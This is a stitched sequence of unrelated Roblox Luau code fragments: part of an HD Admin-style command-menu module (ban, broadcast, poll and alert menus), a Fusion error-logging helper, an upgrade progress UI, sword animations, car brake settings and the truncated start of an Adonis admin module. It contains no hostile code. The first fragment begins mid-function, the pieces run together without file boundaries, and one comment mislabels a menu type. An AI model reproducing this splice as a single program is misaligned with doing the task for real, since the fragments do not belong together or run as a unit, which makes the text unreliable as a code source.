currentDisplayIndex < #logElements loadMoreFrame.Visible = showLoadMore scrollFrame.Size = (showLoadMore and UDim2.new(1,0,0.84,0)) or UDim2.new(1,0,0.92,0) scrollFrame.CanvasSize = UDim2.new(0, maxX, 0, currentDisplayIndex*labelY) end loadMore.MouseButton1Click:Connect(function() displayElements(currentDisplayIndex + 1, linesToLoadAtOnce) end) local function clearLogElements() logElements = {} for i,v in pairs(scrollFrame:GetChildren()) do if v.Name ~= "UIListLayout" then v:Destroy() end end displayingLabel.Text = "0/0" currentDisplayIndex = 0 maxX = 0 loadMore.Visible = true end local function updateLog(newLog) clearLogElements() local maxX = 0 for i,record in pairs(newLog) do local label = template:Clone() local textLabel = label.TextLabel --print(labelText, tonumber(textLabel.TextSize), tostring(textLabel.Font), tostring(Vector2.new(labelY, math.huge)).." = ".. tostring(labelTextSize)) textLabel.Text = getLabelText(record) label.BackgroundColor3 = module:GetLabelBackgroundColor(i) label.Visible = true label.Name = "Record"..i label.Size = UDim2.new(1,0,0,labelY) textLabel.Position = UDim2.new(0, marginX, 0.15, 0) textLabel.Size = UDim2.new(1,-marginX*2,0.7,0) logElements[#logElements+1] = label end displayElements(1, linesToLoadAtOnce) end updateLog(log) ---- local searchDe = true local textBox = mainFrame.SearchBar.Frame.TextBox local specialChars = {} textBox.FocusLost:connect(function(property) if searchDe then searchDe = false local searchText = string.lower(textBox.Text) local newLog = {} for i,record in pairs(log) do local labelText = string.lower(getLabelText(record)) if string.find(labelText, searchText, 1, true) then table.insert(newLog, record) end end updateLog(newLog) setupOriginalZIndex(scrollFrame) updateZIndex(main.commandMenus, scrollFrame) wait(0.5) searchDe = true end end) ---- -------------- << MENU TYPE 6 (banMenu) >> -------------- elseif menuType == 6 then local scrollFrame = mainFrame.ScrollFrame local defaultToggles = {["AG Server"] = "Current", ["AJ Length"] = "Infinite"} local selectedToggles = {} local playerSearchFrame = scrollFrame["AC Target Player"].SearchFrame local playerTextBox = playerSearchFrame.TextBox local playerValue = menuDetails.targetPlayer local timeFrame = scrollFrame["AJA Time"] local firstLabel = scrollFrame["AA Space"] local finalLabel = scrollFrame["AZ Space"] local banButton = scrollFrame["AX Ban"] local reasonTextBox = scrollFrame["AM Reason"].SearchFrame.TextBox local finalFunction = function(b, toggleName, selectFrame) if b.Name == toggleName then b.BackgroundTransparency = 0.1 b.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) selectedToggles[selectFrame.Name] = toggleName if selectFrame.Name == "AJ Length" then if b.Name == "Time" then timeFrame.Visible = true else timeFrame.Visible = false end end else b.BackgroundTransparency = 0.8 b.TextLabel.TextColor3 = Color3.fromRGB(150, 150, 150) end end local organisedVariables = {defaultToggles, finalFunction, scrollFrame, finalLabel, firstLabel} local setupFunction = function(selectFrame) if selectFrame.Name == "AG Server" then selectToggle(selectFrame, menuDetails.server, organisedVariables) elseif selectFrame.Name == "AJ Length" then selectToggle(selectFrame, menuDetails.length, organisedVariables) end end setupDefaultToggles(defaultToggles, scrollFrame, playerTextBox, organisedVariables, setupFunction, timeFrame, playerValue) local props = { maxSuggestions = 3; mainParent = mainFrame.Parent; textBox = playerTextBox; rframe = playerSearchFrame.ResultsFrame; suggestionPos = 1; suggestionDisplayed = 0; forceExecute = false; highlightColor = Color3.fromRGB(50,50,50); otherColor = Color3.fromRGB(80,80,80); suggestionLabels = {}; currentBarCommand = nil; specificArg = "player"; } main:GetModule("CmdBar"):SetupTextbox(commandName, props) --Time local timeDetails = menuDetails.timeDetails if timeDetails then timeDetails:gsub("%d+%a", function(c) local d = tonumber(c:match("%d+")) if d then local timeType = c:match("%a") local amount, frameName, newD = main:GetModule("cf"):GetTimeAmount(timeType, d) timeFrame[frameName].TextBox.Text = newD end return end) end -- local defaultReason = menuDetails.reason if defaultReason and defaultReason ~= "" and defaultReason ~= " " then reasonTextBox.Text = defaultReason end banButton.MouseButton1Down:Connect(function() local banReason = reasonTextBox.Text local playerName = playerTextBox.Text local minutes, hours, days = timeFrame.Minutes.TextBox.Text, timeFrame.Hours.TextBox.Text, timeFrame.Days.TextBox.Text local details = {server=selectedToggles["AG Server"], length=selectedToggles["AJ Length"], lengthTime=minutes.."m"..hours.."h"..days.."d"} module:DestroyCommandMenuFrame(frame) main.signals.RequestCommand:InvokeServer(main.pdata.Prefix.."directBan"..main.pdata.SplitKey..playerName..main.pdata.SplitKey..banReason, details) end) spawn(function() wait(0.1) updateCanvasSize(scrollFrame, finalLabel, firstLabel) end) -------------- << MENU TYPE 7 (global announcement) >> -------------- elseif menuType == 7 then local scrollFrame = mainFrame.ScrollFrame local defaultToggles = {["AG DisplayFrom"] = "Enabled"} local selectedToggles = {} local colorSearchFrame = scrollFrame["AJ MessageColor"].SearchFrame local colorTextBox = colorSearchFrame.TextBox local submitButton = scrollFrame["AX Submit"] local loadingButton = scrollFrame["AZ Loading"] local displayFromTitle = scrollFrame["AF Title"] local titleTextBox = scrollFrame["AC MessageTitle"].SearchFrame.TextBox local messageTextBox = scrollFrame["AM Message"].SearchFrame.TextBox local finalFunction = function(b, toggleName, selectFrame) if b.Name == toggleName then b.BackgroundTransparency = 0.1 b.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) selectedToggles[selectFrame.Name] = toggleName else b.BackgroundTransparency = 0.8 b.TextLabel.TextColor3 = Color3.fromRGB(150, 150, 150) end end local organisedVariables = {defaultToggles, finalFunction, scrollFrame, --[[finalLabel, firstLabel--]]} displayFromTitle.TextLabel.Text = "Display 'From ".. main.player.Name.."'" local setupFunction = function(selectFrame) if selectFrame.Name == "AG DisplayFrom" then selectToggle(selectFrame, "Enabled", organisedVariables) end end setupDefaultToggles(defaultToggles, scrollFrame, colorTextBox, organisedVariables, setupFunction) local props = { maxSuggestions = 3; mainParent = mainFrame.Parent; textBox = colorTextBox; rframe = colorSearchFrame.ResultsFrame; suggestionPos = 1; suggestionDisplayed = 0; forceExecute = false; highlightColor = Color3.fromRGB(50,50,50); otherColor = Color3.fromRGB(80,80,80); suggestionLabels = {}; currentBarCommand = nil; specificArg = "color"; } main:GetModule("CmdBar"):SetupTextbox(commandName, props) --Final result local fr = frame.FinalResult local frFrame = fr.Frame local example = frFrame.Example local serverInvocationFunction = function() local displayFrom = false if selectedToggles["AG DisplayFrom"] == "Enabled" then displayFrom = true end local data = main.signals.RetrieveBroadcastData:InvokeServer{["Title"] = titleTextBox.Text, ["DisplayFrom"] = displayFrom, ["Color"] = colorTextBox.Text, ["Message"] = messageTextBox.Text} return data end local retrievedDataFunction = function(data) example.Title.Text = data.Title local displayFrom = data.DisplayFrom example.Pic.Visible = displayFrom example.SubTitle.Visible = displayFrom if displayFrom then example.Pic.Image = module:GetUserImage(data.SenderId) example.SubTitle.Text = "From ".. data.SenderName end example.Desc.TextColor3 = Color3.new(data.Color[1], data.Color[2], data.Color[3]) example.Desc.Text = data.Message fr.Visible = true end local broadcastFunction = function() main.signals.ExecuteBroadcast:InvokeServer() end setupFinalResult(frame, submitButton, loadingButton, serverInvocationFunction, retrievedDataFunction, broadcastFunction) -------------- << MENU TYPE 8 (alert) >> -------------- elseif menuType == 8 then local title = menuDetails[1] local message = menuDetails[2] local mute = dragBar.Mute local muteLabel = mute.TextLabel local soundPlayingIcon = "🔊" local soundMutedIcon = "🔇" local sound = Instance.new("Sound") sound.SoundId = "rbxassetid://"..main.pdata.AlertSoundId sound.Volume = main.pdata.AlertVolume sound.Pitch = main.pdata.AlertPitch sound.Looped = true sound.Parent = frame sound:Play() dragBar.Title.Text = title mainFrame.MessageFrame.Message.Text = message mute.MouseButton1Down:Connect(function() if muteLabel.Text == soundPlayingIcon then muteLabel.Text = soundMutedIcon sound:Pause() else muteLabel.Text = soundPlayingIcon sound:Play() end end) -------------- << MENU TYPE 9 (pollMenu) >> -------------- elseif menuType == 9 then local scrollFrame = mainFrame.ScrollFrame local defaultToggles = {["AC Server"] = "Current", ["AG ShowResultsTo"] = "You"} local selectedToggles = {} local targetPlayerLabel = scrollFrame["AD Target Player"] local playerSearchFrame = targetPlayerLabel.SearchFrame local playerTextBox = playerSearchFrame.TextBox local playerValue = menuDetails.targetPlayer local firstLabel = scrollFrame["AA Space"] local finalLabel = scrollFrame["AZ Space"] local loadingButton = scrollFrame["AZ Loading"] local submitButton = scrollFrame["AX Submit"] local questionTextBox = scrollFrame["AP Question"].SearchFrame.TextBox local finalFunction = function(b, toggleName, selectFrame) local selectFrameName = selectFrame.Name if b.Name == toggleName then b.BackgroundTransparency = 0.1 b.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) selectedToggles[selectFrame.Name] = toggleName if selectFrameName == "AC Server" then if b.Name == "Current" then targetPlayerLabel.Visible = true else targetPlayerLabel.Visible = false end end else b.BackgroundTransparency = 0.8 b.TextLabel.TextColor3 = Color3.fromRGB(150, 150, 150) end end local organisedVariables = {defaultToggles, finalFunction, scrollFrame, finalLabel, firstLabel} local setupFunction = function(selectFrame) if selectFrame.Name == "AC Server" then selectToggle(selectFrame, menuDetails.server, organisedVariables) elseif defaultToggles[selectFrame.Name] then selectToggle(selectFrame, defaultToggles[selectFrame.Name], organisedVariables) end end setupDefaultToggles(defaultToggles, scrollFrame, playerTextBox, organisedVariables, setupFunction, nil, playerValue) local props = { maxSuggestions = 3; mainParent = mainFrame.Parent; textBox = playerTextBox; rframe = playerSearchFrame.ResultsFrame; suggestionPos = 1; suggestionDisplayed = 0; forceExecute = false; highlightColor = Color3.fromRGB(50,50,50); otherColor = Color3.fromRGB(80,80,80); suggestionLabels = {}; currentBarCommand = nil; specificArg = "player"; } main:GetModule("CmdBar"):SetupTextbox(commandName, props) local defaultQuestion = menuDetails.question if defaultQuestion and defaultQuestion ~= "" and defaultQuestion ~= " " then questionTextBox.Text = defaultQuestion end --Answers local answersLimit = 10 local answerTemplate = scrollFrame["AS Answer"] local addAnswer = scrollFrame["AT AddAnswer"] local answerBoxes = {} answerTemplate.Visible = false local function removeAnswerBox(box) for i,v in pairs(answerBoxes) do if v == box then table.remove(answerBoxes, i) break end end box:Destroy() updateCanvasSize(scrollFrame, finalLabel, firstLabel) end local function createAnswerBox() local newBox = answerTemplate:Clone() newBox.Visible = true newBox.Parent = scrollFrame newBox.RemoveBox.MouseButton1Down:Connect(function() removeAnswerBox(newBox) end) table.insert(answerBoxes, newBox) updateCanvasSize(scrollFrame, finalLabel, firstLabel) return newBox end local defaultAnswers = menuDetails.answers if type(defaultAnswers) == "table" then for i, answer in pairs(defaultAnswers) do if answer and answer ~= "" and answer ~= " " then local box = createAnswerBox() box.SearchFrame.TextBox.Text = answer if #answerBoxes >= answersLimit then break end end end end addAnswer.Add.MouseButton1Down:Connect(function() if #answerBoxes >= answersLimit then main:GetModule("Notices"):Notice("Error", main.hdAdminCoreName, "Cannot exceed "..answersLimit.." answers!") else local box = createAnswerBox() scrollFrame.CanvasPosition = Vector2.new(0, scrollFrame.CanvasPosition.Y + box.AbsoluteSize.Y) end end) --VoteTime local voteTimeLabel = scrollFrame["AC VoteTime"] local voteTimeTextBox = voteTimeLabel.SearchFrame.TextBox local originalVoteTime = voteTimeTextBox.Text voteTimeTextBox.FocusLost:connect(function(property) local newNumber = tonumber(voteTimeTextBox.Text) if newNumber then if newNumber < 1 then newNumber = 1 elseif newNumber > 60 then newNumber = 60 end else newNumber = originalVoteTime end voteTimeTextBox.Text = newNumber originalVoteTime = newNumber end) -- spawn(function() wait(0.1) updateCanvasSize(scrollFrame, finalLabel, firstLabel) end) --Final result local fr = frame.FinalResult local frFrame = fr.Frame local example = frFrame.Example local serverInvocationFunction = function() local voteTime = voteTimeTextBox.Text local question = questionTextBox.Text local server = selectedToggles["AC Server"] local showResultsTo = selectedToggles["AG ShowResultsTo"] local playerArg = playerTextBox.Text:gsub(" ", function(c) return "" end) local answers = {} for i,v in pairs(answerBoxes) do table.insert(answers, v.SearchFrame.TextBox.Text) end -- local data = main.signals.RetrievePollData:InvokeServer{["VoteTime"] = voteTime, ["Question"] = question, ["Answers"] = answers, ["Server"] = server, ["ShowResultsTo"] = showResultsTo, ["PlayerArg"] = playerArg} -- return data end local retrievedDataFunction = function(data) setupPollResults(example, data) fr.Visible = true--]] end local broadcastFunction = function() main.signals.ExecutePoll:InvokeServer() end setupFinalResult(frame, submitButton, loadingButton, serverInvocationFunction, retrievedDataFunction, broadcastFunction) -------------- << MENU TYPE 10 (pollSelection) >> -------------- elseif menuType == 10 then main.audio.Notice:Play() local scrollFrame = mainFrame.ScrollFrame local questionLabel = scrollFrame.Question.TextLabel local titleLabel = dragBar.Title local data = menuDetails local voteTime = data.VoteTime local voteTimePlusOne = voteTime+1 setupPollResults(scrollFrame, data) questionLabel.Text = data.Question coroutine.wrap(function() for i = 1, voteTime do titleLabel.Text = string.upper(data.SenderName).."'S POLL (".. voteTimePlusOne-i..")" wait(1) end module:DestroyCommandMenuFrame(frame) end)() -------------- << MENU TYPE 10 (pollSelection) >> -------------- elseif menuType == 11 then main.audio.Notice:Play() local barColors = main:GetModule("cf"):RandomiseTable{ Color3.fromRGB(220, 30, 30); Color3.fromRGB(220, 93, 29); Color3.fromRGB(188, 161, 23); Color3.fromRGB(107, 186, 22); Color3.fromRGB(19, 179, 46); Color3.fromRGB(20, 197, 197); Color3.fromRGB(24, 120, 255); Color3.fromRGB(101, 24, 255); Color3.fromRGB(217, 24, 255); Color3.fromRGB(255, 24, 128); } local scrollFrame = mainFrame.ScrollFrame local questionLabel = scrollFrame.Question.TextLabel local titleLabel = dragBar.Title local data = menuDetails questionLabel.Text = data.Question local resultTemplate = scrollFrame.ResultTemplate resultTemplate.Visible = false local totalResults = #data.Results for i,result in pairs(data.Results) do local answerButton = resultTemplate:Clone() answerButton.Visible = true answerButton.Name = "Answer"..i answerButton.Bar.BackgroundColor3 = barColors[i] --Color3.fromHSV(i/10, 1, 1) local resultTextStart = i..". "..result.Answer.." (" if i == totalResults then resultTextStart = result.Answer.." (" answerButton.Bar.BackgroundColor3 = Color3.fromRGB(175, 175, 175) end answerButton.TextLabel.Text = resultTextStart.."0)" answerButton.BackgroundColor3 = module:GetLabelBackgroundColor(i) answerButton.Bar.Size = UDim2.new(0, 0, 1, 0) delay((i-1)/10, function() local tweenTime = 2 local tweenInfo = TweenInfo.new(tweenTime, Enum.EasingStyle.Quart) local intValue = Instance.new("IntValue") intValue.Value = 0 main.tweenService:Create(answerButton.Bar, tweenInfo, {Size = UDim2.new(result.Percentage, 0, 1, 0)}):Play() main.tweenService:Create(intValue, tweenInfo, {Value = result.Votes}):Play() intValue.Changed:Connect(function(newVal) answerButton.TextLabel.Text = resultTextStart..newVal..")" end) wait(tweenTime) intValue:Destroy() end) answerButton.Parent = scrollFrame end spawn(function() wait(0.1) updateCanvasSize(scrollFrame, scrollFrame["Answer"..#data.Answers], scrollFrame.Question) end) -------------- << MENU TYPE 12 (globalAlert) >> -------------- elseif menuType == 12 then local scrollFrame = mainFrame.ScrollFrame local defaultToggles = {["AC Server"] = "Current"} local selectedToggles = {} local targetPlayerLabel = scrollFrame["AD Target Player"] local playerSearchFrame = targetPlayerLabel.SearchFrame local playerTextBox = playerSearchFrame.TextBox local playerValue = menuDetails.targetPlayer local firstLabel = scrollFrame["AA Space"] local finalLabel = scrollFrame["AZ Space"] local spaceX = scrollFrame["AX Space"] local loadingButton = scrollFrame["AZ Loading"] local submitButton = scrollFrame["AX Submit"] local titleTextBox = scrollFrame["AG MessageTitle"].SearchFrame.TextBox local messageTextBox = scrollFrame["AM Message"].SearchFrame.TextBox local finalFunction = function(b, toggleName, selectFrame) local selectFrameName = selectFrame.Name if b.Name == toggleName then b.BackgroundTransparency = 0.1 b.TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255) selectedToggles[selectFrame.Name] = toggleName if selectFrameName == "AC Server" then if b.Name == "Current" then targetPlayerLabel.Visible = true spaceX.Visible = false else targetPlayerLabel.Visible = false spaceX.Visible = true end end else b.BackgroundTransparency = 0.8 b.TextLabel.TextColor3 = Color3.fromRGB(150, 150, 150) end end local organisedVariables = {defaultToggles, finalFunction, scrollFrame, finalLabel, firstLabel} local setupFunction = function(selectFrame) if selectFrame.Name == "AC Server" then selectToggle(selectFrame, menuDetails.server, organisedVariables) elseif defaultToggles[selectFrame.Name] then selectToggle(selectFrame, defaultToggles[selectFrame.Name], organisedVariables) end end setupDefaultToggles(defaultToggles, scrollFrame, playerTextBox, organisedVariables, setupFunction, nil, playerValue) local props = { maxSuggestions = 3; mainParent = mainFrame.Parent; textBox = playerTextBox; rframe = playerSearchFrame.ResultsFrame; suggestionPos = 1; suggestionDisplayed = 0; forceExecute = false; highlightColor = Color3.fromRGB(50,50,50); otherColor = Color3.fromRGB(80,80,80); suggestionLabels = {}; currentBarCommand = nil; specificArg = "player"; } main:GetModule("CmdBar"):SetupTextbox(commandName, props) local defaultMessage = menuDetails.message if defaultMessage and defaultMessage ~= "" and defaultMessage ~= " " then messageTextBox.Text = defaultMessage end titleTextBox.Text = "Alert from ".. main.player.Name --Final result local fr = frame.FinalResult local frFrame = fr.Frame local example = frFrame.Example local serverInvocationFunction = function() local title = titleTextBox.Text local message = messageTextBox.Text local server = selectedToggles["AC Server"] local playerArg = playerTextBox.Text:gsub(" ", function(c) return "" end) -- local data = main.signals.RetrieveAlertData:InvokeServer{ ["Title"] = title, ["Message"] = message, ["Server"] = server, ["PlayerArg"] = playerArg } -- return data end local retrievedDataFunction = function(data) example.Title.Text = data.Title example.Message.Text = data.Message fr.Visible = true end local broadcastFunction = function() main.signals.ExecuteAlert:InvokeServer() end setupFinalResult(frame, submitButton, loadingButton, serverInvocationFunction, retrievedDataFunction, broadcastFunction) end -- setupOriginalZIndex(frame, forceOnTop) table.insert(main.commandMenus, frame) updateZIndex(main.commandMenus) -- end frame.Parent = main.gui frame.Visible = true end function module:GetMousePoint(hitPosition) local rayMag1 = main.camera:ScreenPointToRay(main.lastHitPosition.X, main.lastHitPosition.Y) local newRay = Ray.new(rayMag1.Origin, rayMag1.Direction * 100) local hit, position = workspace:FindPartOnRay(newRay, main.player.Character) return hit, position end function module:GetLabelBackgroundColor(i) if i%2 == 0 then return(Color3.fromRGB(50, 50, 50)) else return(Color3.fromRGB(40, 40, 40)) end end function module:GenerateTagFromId(ID) local values = main.alphabet local totalValues = #values local loops2 = math.ceil(ID/#values) local loops3 = math.ceil(ID/(#values)^2) local v1 = values[ID%totalValues] or values[totalValues] local v2 = values[loops2%totalValues] or values[totalValues] local v3 = values[loops3%totalValues] or values[totalValues] return v3..v2..v1 end function module:ClearPage(page) for _,label in pairs(page:GetChildren()) do if label.Name ~= "UIListLayout" and string.sub(label.Name,1,8) ~= "Template" then label:Destroy() elseif label:IsA("Frame") then label.Visible = false end end end function module:UpdateClientData() main.pdata = main.rfunction:InvokeServer("RetrievePlayerData") end
--[[ Utility function to log a Fusion-specific error. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local messages = require(Package.Logging.messages) local function logError(messageID: string, errObj: Types.Error?, ...) local formatString: string if messages[messageID] ~= nil then formatString = messages[messageID] else messageID = "unknownMessage" formatString = messages[messageID] end local errorString if errObj == nil then errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")", ...) else formatString = string.gsub(formatString, "ERROR_MESSAGE", errObj.message) errorString = string.format("[Fusion] " .. formatString .. "\n(ID: " .. messageID .. ")\n---- Stack trace ----\n" .. errObj.trace, ...) end error(string.gsub(errorString, "\n", "\n "), 0) end return logError
-- Local Functions
local function makePurchase() local newLevel = upgrades.Value + 1 BuyUpgradeEvent:FireServer() showLevelUpBanner() end local function updateUpgrades() local cost = GameSettings.upgradeCost(upgrades.Value) local upgradeProgress = points.Value/cost local starProgress = (points.Value % (cost / 3)) / (cost / 3) prevStarProgress = currStarProgress currStarProgress = starProgress local tweenTime = 1 * math.abs(starProgress - prevStarProgress) if starProgress <= prevStarProgress then local tweenTimeToFull = 1 * (1-prevStarProgress) tweenTime = 1 * (starProgress) ProgressBarContainer:TweenPosition(UDim2.fromScale(0, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTimeToFull, true) ProgressBarFill:TweenPosition(UDim2.fromScale(0, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTimeToFull, true) wait(tweenTime) if starProgress == currStarProgress then ProgressBarContainer.Position = UDim2.fromScale(-0.56, 0) ProgressBarFill.Position = UDim2.fromScale(0.56, 0) ProgressBarContainer:TweenPosition(UDim2.fromScale(-0.56 + math.min(1, starProgress) * 0.56, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true) ProgressBarFill:TweenPosition(UDim2.fromScale(0.56 - math.min(1, starProgress) * 0.56, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true) end else ProgressBarContainer:TweenPosition(UDim2.fromScale(-0.5 + math.min(1, starProgress) * 0.5, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true) ProgressBarFill:TweenPosition(UDim2.fromScale(0.5 - math.min(1, starProgress) * 0.5, 0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweenTime, true) end if points.Value >= cost then -- 3 Stars, slight pause, upgrade Star1.Visible = true Star2.Visible = true Star3.Visible = true wait() makePurchase() elseif points.Value >= 2*cost / 3 then -- 2 Stars Star1.Visible = true Star2.Visible = true elseif points.Value >= cost / 3 then -- 1 Star Star1.Visible = true else -- 0 Stars Star1.Visible = false Star2.Visible = false Star3.Visible = false end end local function toggleEnabled() if GameplayUi.Enabled then ChangeController:FireServer(false) else ChangeController:FireServer(true) end end local function toggleLobby() if GameplayUi.Enabled then -- Enter lobby and exit game humanoidRoot.CFrame = SpawnLocation.CFrame + Vector3.new(0, 3, 0) humanoid.WalkSpeed = 16 GameplayUi.Enabled = false Tutorial.Enabled = false Controller.Disabled = true InteractionBillboard.Enabled = true LobbyButton.Visible = false end end
-- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end local Tool = script.Parent local Animations = {} local MyHumanoid local MyCharacter local function PlayAnimation(animationName) if Animations[animationName] then Animations[animationName]:Play() end end local function StopAnimation(animationName) if Animations[animationName] then Animations[animationName]:Stop() end end function OnEquipped(mouse) MyCharacter = Tool.Parent MyHumanoid = WaitForChild(MyCharacter, 'Humanoid') if MyHumanoid then Animations['EquipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'EquipAnim5')) Animations['IdleAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'IdleAnim3')) Animations['OverheadAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'OverheadAnim2')) Animations['SlashAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'SlashAnim2')) Animations['ThrustAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'ThrustAnim2')) Animations['UnequipAnim'] = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'UnequipAnim2')) end PlayAnimation('EquipAnim') PlayAnimation('IdleAnim') end function OnUnequipped() for animName, _ in pairs(Animations) do StopAnimation(animName) end end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped) WaitForChild(Tool, 'PlaySlash').Changed:connect( function (value) --if value then PlayAnimation('SlashAnim') --else -- StopAnimation('SlashAnim') --end end) WaitForChild(Tool, 'PlayThrust').Changed:connect( function (value) --if value then PlayAnimation('ThrustAnim') --else -- StopAnimation('ThrustAnim') --end end) WaitForChild(Tool, 'PlayOverhead').Changed:connect( function (value) --if value then PlayAnimation('OverheadAnim') --else -- StopAnimation('OverheadAnim') --end end)
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 400 -- Front brake force Tune.RBrakeForce = 500 -- Rear brake force Tune.PBrakeForce = 4000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--// Admin
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server; local service = Vargs.Service; local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings, Commands local AddLog, TrackTask, Defaults local CreatorId = game.CreatorType == Enum.CreatorType.User and game.CreatorId local function Init() Functions = server.Functions; Admin = server.Admin; Anti = server.Anti; Core = server.Core; HTTP = server.HTTP; Logs = server.Logs; Remote = server.Remote; Process = server.Process; Variables = server.Variables; Settings = server.Settings; Commands = server.Commands; Defaults = server.Defaults TrackTask = service.TrackTask AddLog = Logs.AddLog; if not CreatorId then TrackTask("Thread: GetGroupCreatorId", function() local success, creator = pcall(service.GroupService.GetGroupInfoAsync, service.GroupService, game.CreatorId) if success and type(creator) == "table" then CreatorId = creator.Owner.Id end end) end TrackTask("Thread: ChatServiceHandler", function() --// ChatService mute handler (credit to Coasterteam) local chatService = Functions.GetChatService() if chatService then chatService:RegisterProcessCommandsFunction("ADONIS_CMD", function(speakerName, message) local speaker = chatService:GetSpeaker(speakerName) local speakerPlayer = speaker and speaker:GetPlayer() if not speakerPlayer then return false end if Admin.DoHideChatCmd(speakerPlayer, message) then return true end return false end) chatService:RegisterProcessCommandsFunction("ADONIS_MUTE_SERVER", function(speakerName, _, channelName) local slowCache = Admin.SlowCache local speaker = chatService:GetSpeaker(speakerName) local speakerPlayer = speaker and speaker:GetPlayer() if not speakerPlayer then return false end if speakerPlayer and Admin.IsMuted(speakerPlayer) then speaker:SendSystemMessage("[Adonis] :: You are muted!", channelName) return true elseif speakerPlayer and Admin.SlowMode and not Admin.CheckAdmin(speakerPlayer) and slowCache[speakerPlayer] and os.time() - slowCache[speakerPlayer] < Admin.SlowMode then speaker:SendSystemMessage(string.format("[Adonis] :: Slow mode enabled! (%g second(s) remaining)", Admin.SlowMode - (os.time() - slowCache[speakerPlayer])), channelName) return true end if Admin.SlowMode then slowCache[speakerPlayer] = os.time() end return false end) AddLog("Script", "ChatService Handler Loaded") else warn("Place is missing ChatService; Vanilla Roblox chat related features may not work") AddLog("Script", "ChatService Handler Not Found") end end) --// Make sure the default ranks are always present for compatability with existing commands local Ranks = Settings.Ranks for rank, data in pairs(Defaults.Settings.Ranks) do if not Ranks[rank] then Ranks[rank] = data end end --// Old settings/plugins backwards compatibility for _, rank in ipairs({"Owners", "HeadAdmins", "Admins", "Moderators", "Creators"}) do if Settings[rank] then Settings.Ranks[if rank == "Owners" then "HeadAdmins" else rank].Users = Settings[rank] end end if Settings.CustomRanks then local Ranks = Settings.Ranks for name, users in pairs(Settings.CustomRanks) do if not Ranks[name] then Ranks[name] = { Level = 1; Users = users; }; end end end Admin.Init = nil; AddLog("Script", "Admin Module Initialized") end; local function RunAfterPlugins(data) --// Backup Map if Settings.AutoBackup then TrackTask("Thread: Initial Map Backup", Admin.RunCommand, Settings.Prefix.."backupmap") end --// Run OnStartup Commands for i,v in pairs(Settings.OnStartup) do warn("Running startup command ".. tostring(v)) TrackTask("Thread: Startup_Cmd: ".. tostring(v), Admin.RunCommand, v) AddLog("Script", { Text = "Startup: Executed "..tostring(v); Desc = "Executed startup command; "..tostring(v); }) end --// Check if Shutdownlogs is set and if not then set it if Core.DataStore and not Core.GetData("ShutdownLogs") then Core.SetData("ShutdownLogs", {}) end Admin.RunAfterPlugins = nil; AddLog("Script", "Admin Module RunAfterPlugins Finished") end service.MarketplaceService.PromptGamePassPurchaseFinished:Connect(function(player, id, purchased) if Variables and player.Parent and id == 1348327 and purchased then Variables.CachedDonors[tostring(player.UserId)] = os.time() end end) local function stripArgPlaceholders(alias) return service.Trim(string.gsub(alias, "<%S+>", "")) end local function FormatAliasArgs(alias, aliasCmd, msg) local uniqueArgs = {} local argTab = {} local numArgs = 0 --// First try to extract args info from the alias for arg in string.gmatch(alias, "<(%S+)>") do if arg ~= "" and arg ~= " " then local arg = "<".. arg ..">" if not uniqueArgs[arg] then numArgs += 1 uniqueArgs[arg] = true table.insert(argTab, arg) end end end --// If no args in alias string, check the command string instead and try to guess args based on order of appearance if numArgs == 0 then for arg in string.gmatch(aliasCmd, "<(%S+)>") do if arg ~= "" and arg ~= " " then local arg = "<".. arg ..">" if not uniqueArgs[arg] then --// Get only unique placeholder args, repeats will be matched to the same arg pos numArgs += 1 uniqueArgs[arg] = true --// :cmd <arg1> <arg2> table.insert(argTab, arg) end end end end local suppliedArgs = Admin.GetArgs(msg, numArgs) -- User supplied args (when running :alias arg) local out = aliasCmd local EscapeSpecialCharacters = service.EscapeSpecialCharacters for i,argType in pairs(argTab) do local replaceWith = suppliedArgs[i] if replaceWith then out = string.gsub(out, EscapeSpecialCharacters(argType), replaceWith) end end return out end server.Admin = { Init = Init; RunAfterPlugins = RunAfterPlugins; SpecialLevels = {}; TempAdmins = {}; PrefixCache = {}; CommandCache = {}; SlowCache = {}; UserIdCache = {}; GroupsCache = {}; BlankPrefix = false; --// How long admin levels will be cached (unless forcibly updated via something like :admin user) AdminLevelCacheTimeout = 30; DoHideChatCmd = function(p: Player, message: string, data: {[string]: any}?) local pData = data or Core.GetPlayer(p) if pData.Client.HideChatCommands then if Variables.BlankPrefix and (string.sub(message,1,1) ~= Settings.Prefix or string.sub(message,1,1) ~= Settings.PlayerPrefix) then local isCMD = Admin.GetCommand(message) if isCMD then return true else return false end elseif (string.sub(message,1,1) == Settings.Prefix or string.sub(message,1,1) == Settings.PlayerPrefix) and string.sub(message,2,2) ~= string.sub(message,1,1) then return true; end end end; GetPlayerGroups = function(p: Player) if not p or p.Parent ~= service.Players then return end local key = tostring(p.UserId) local cache = Admin.GroupsCache[key] if cache then return cache else 